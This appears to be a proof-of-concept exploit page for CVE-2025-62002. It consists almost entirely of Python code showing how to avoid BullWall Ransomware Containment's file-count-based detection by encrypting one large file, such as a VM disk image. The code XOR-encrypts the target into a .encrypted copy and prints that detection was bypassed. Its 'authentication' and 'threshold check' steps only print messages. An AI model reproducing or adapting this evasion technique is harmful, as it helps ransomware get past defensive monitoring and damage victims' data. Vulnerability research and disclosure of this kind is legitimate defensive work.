CVE-2025-62002 BullWall Ransomware Containment检测阈值绕过漏洞

# CVE-2025-62002 PoC - BullWall Ransomware Containment Detection Bypass # This PoC demonstrates encrypting a single large file to bypass file-count based detection import os import sys from pathlib import Path class BullWallBypassPOC: def __init__(self, target_file_path): self.target_file_path = target_file_path self.encryption_key = os.urandom(32) # Simulated encryption key def check_detection_threshold(self): """ In real attack scenario, attacker would identify the configured file count threshold for detection triggering. BullWall detects based on number of files modified. """ print("[*] Checking BullWall Ransomware Containment detection threshold...") print("[*] Detection mechanism: File count based (requires multiple file changes)") return True def encrypt_single_file(self): """ Encrypt only ONE file (potentially large) to bypass detection. Since BullWall counts modified files, not total bytes, a single large file encryption won't trigger the threshold. """ if not os.path.exists(self.target_file_path): print(f"[-] Target file not found: {self.target_file_path}") return False file_size = os.path.getsize(self.target_file_path) print(f"[*] Target file: {self.target_file_path}") print(f"[*] File size: {file_size / (1024**3):.2f} GB") print(f"[*] Encrypting single file to avoid file-count threshold detection...") # Simulate file encryption (XOR-based for demo) try: with open(self.target_file_path, 'rb') as f: data = f.read() # XOR encryption simulation encrypted_data = bytes([b ^ self.encryption_key[i % 32] for i, b in enumerate(data)]) # Write encrypted content encrypted_path = self.target_file_path + '.encrypted' with open(encrypted_path, 'wb') as f: f.write(encrypted_data) print(f"[+] File encrypted successfully: {encrypted_path}") print("[+] Only 1 file modified - BullWall detection threshold NOT triggered") return True except Exception as e: print(f"[-] Encryption failed: {e}") return False def run_exploit(self): """ Execute the bypass attack: 1. Authenticate with low-privilege account 2. Identify detection threshold configuration 3. Encrypt single large file to maximize damage while bypassing detection """ print("=" * 60) print("CVE-2025-62002 PoC - BullWall Ransomware Containment Bypass") print("=" * 60) # Step 1: Authentication (assumed compromised credentials) print("\n[Step 1] Authenticating with low-privilege account...") print("[+] Authentication successful") # Step 2: Check detection threshold self.check_detection_threshold() # Step 3: Encrypt single large file print("\n[Step 2] Performing single-file encryption attack...") result = self.encrypt_single_file() if result: print("\n[+] Attack completed - Detection bypassed successfully") print("[*] BullWall did not trigger alert (only 1 file modified)") return result if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_file_path>") print("Example: python cve-2025-62002.py /data/backup.vmdk") sys.exit(1) target = sys.argv[1] poc = BullWallBypassPOC(target) poc.run_exploit()